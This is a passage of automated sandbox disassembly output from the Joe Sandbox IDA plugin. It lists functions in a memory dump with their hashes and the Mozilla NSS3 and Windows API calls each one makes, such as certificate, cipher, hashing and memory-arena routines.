Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction ID: 9501870ea34204264d3d9f31e2d1bb77185d2a06bf5f4a601f77d91e78d6c37b
Opcode Fuzzy Hash: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction Fuzzy Hash: A5519171600600DFEB309F25D848B9A73B5FF45318F204D29E85687B91D735E968CBAA

Function 6C67BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67BD1E

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67BD8C

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C67BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE3A

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE52

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67BE61

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction ID: 65701355d5a2bd30c08e9c2690dbf44acd5858688f1522da27883a31a7e1eadf
Opcode Fuzzy Hash: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction Fuzzy Hash: C241E7B5A00210AFC720DF24DC80F9A77E4EF8A718F108968F94997711E731ED15CBAA

Function 6C69AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C69AB3E,?,?,?), ref: 6C69AC35

Part of subcall function 6C67CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C67CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C69AB3E,?,?,?), ref: 6C69AC55

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E,?,?), ref: 6C69AC70

Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E33C
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E350
Part of subcall function 6C67E300: PR_Unlock.NSS3(?), ref: 6C67E5BC
Part of subcall function 6C67E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C67E5CA
Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E5F2
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E606
Part of subcall function 6C67E300: PORT_Alloc_Util.NSS3(?), ref: 6C67E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C69AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E), ref: 6C69ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C69AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C69AD2B

Part of subcall function 6C67F360: TlsGetValue.KERNEL32(00000000,?,6C69A904,?), ref: 6C67F38B
Part of subcall function 6C67F360: EnterCriticalSection.KERNEL32(?,?,?,6C69A904,?), ref: 6C67F3A0
Part of subcall function 6C67F360: PR_Unlock.NSS3(?,?,?,?,6C69A904,?), ref: 6C67F3D3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction ID: 009fc838e1745d02e2a34b7818b0b48fb77a0416a04a5c2b64bb0612863f212c
Opcode Fuzzy Hash: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction Fuzzy Hash: D93129B1E002069FEB008F658C449AF77F6EF85328B188529E8155BB41EB31DD15C7B9

Function 6C678C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C678C7C

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C678CB0
TlsGetValue.KERNEL32 ref: 6C678CD1
EnterCriticalSection.KERNEL32(?), ref: 6C678CE5
PR_Unlock.NSS3(?), ref: 6C678D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C678D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C678D93

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction ID: bc14d1f786a2a1f66e5fb678229d84f920ddba061b3f80dd76f9078290abce55
Opcode Fuzzy Hash: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction Fuzzy Hash: E7315571A00205AFE7209F68CD44BEAB7B0FF19318F140536EA1967B60D770AD24C7E9

Function 6C6B9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B13F0
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,?,?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6B1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6B9C5B), ref: 6C6B9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6B9C5B), ref: 6C6B9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6B9C5B), ref: 6C6B9E91

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6B1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C6AFAAB,00000000), ref: 6C6B157E
Part of subcall function 6C6B1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6AFAAB,00000000), ref: 6C6B1592
Part of subcall function 6C6B1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6B1600
Part of subcall function 6C6B1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6B1620
Part of subcall function 6C6B1560: PR_Unlock.NSS3(?), ref: 6C6B1639

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: c8b8f3062b7979f72214e2e2f343d74922bcfc162df5c617cad97fa8202213ce
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AD417CB4601606AFE7409F15D840B92BBB1FF5534CF148128E9189BFA0EB72E836CF94

Function 6C67DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67DDEC

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C67DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C67DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C67DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C67DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DECC

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction ID: 40894796c741a6dfc9eb52c67c13617b1ce7ee90e4acca6d7de101ed3258fcc9
Opcode Fuzzy Hash: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction Fuzzy Hash: 493128B29002146BDB21AF64AD00BBF76B8DF55708F050935EC09A7701FB31D919C6FA

Function 6C657E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657E48

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C657E5B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657E7B

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77925C,?), ref: 6C657E92

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657EFA

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction ID: 9b7b3ff5ec3464678172edb9912dd88b184e74fe246ce5a8f69622df6a2ae730
Opcode Fuzzy Hash: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction Fuzzy Hash: 1331C1B2A113155BEB10CB659D44B9B77A8AF45358F658824DC15EBB01F730EC24C7A8

Function 6C6ADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6ADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6ADCAD

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction ID: a608700d852fc8254619c0dbc442647c3b4d40028c7b71c0abb847197cf1788b
Opcode Fuzzy Hash: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction Fuzzy Hash: AB316DB5A00300AFD710CF99D884B96B7F8AF09358F548429ED49CBB01E772E945CBA5

Function 6C672E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C66E728,?,00000038,?,?,00000000), ref: 6C672E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C672E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C672E9E
PR_Unlock.NSS3(?), ref: 6C672EAB
PR_Unlock.NSS3(?), ref: 6C672F0D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction ID: 7086a1547b0b6a3754f656a697d6b2f7c0e9920d098c0470c92997f72c873469
Opcode Fuzzy Hash: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction Fuzzy Hash: B431E475A00505ABEB105F68EC448BAB775EF46358B048574EC1887A11FB31EC65C7E9

Function 6C691EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691ECB

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691EF1
EnterCriticalSection.KERNEL32(?), ref: 6C691F01
PR_SetError.NSS3(00000000,00000000), ref: 6C691F39

Part of subcall function 6C69FE20: TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
Part of subcall function 6C69FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F

PR_Unlock.NSS3(?), ref: 6C691F67

Strings

S&il, xrefs: 6C691EA0

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&il
API String ID: 704537481-872921247
Opcode ID: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction ID: d79f04e49aa2052efab44391b3388b5b50f0617fb5047a59d1bbeac192c8e901
Opcode Fuzzy Hash: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction Fuzzy Hash: 48213775A0020AABEB009F29EC44F9A37ADEF423A8F244164FD19C7B01E731D955C7E9

Function 6C6BCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B

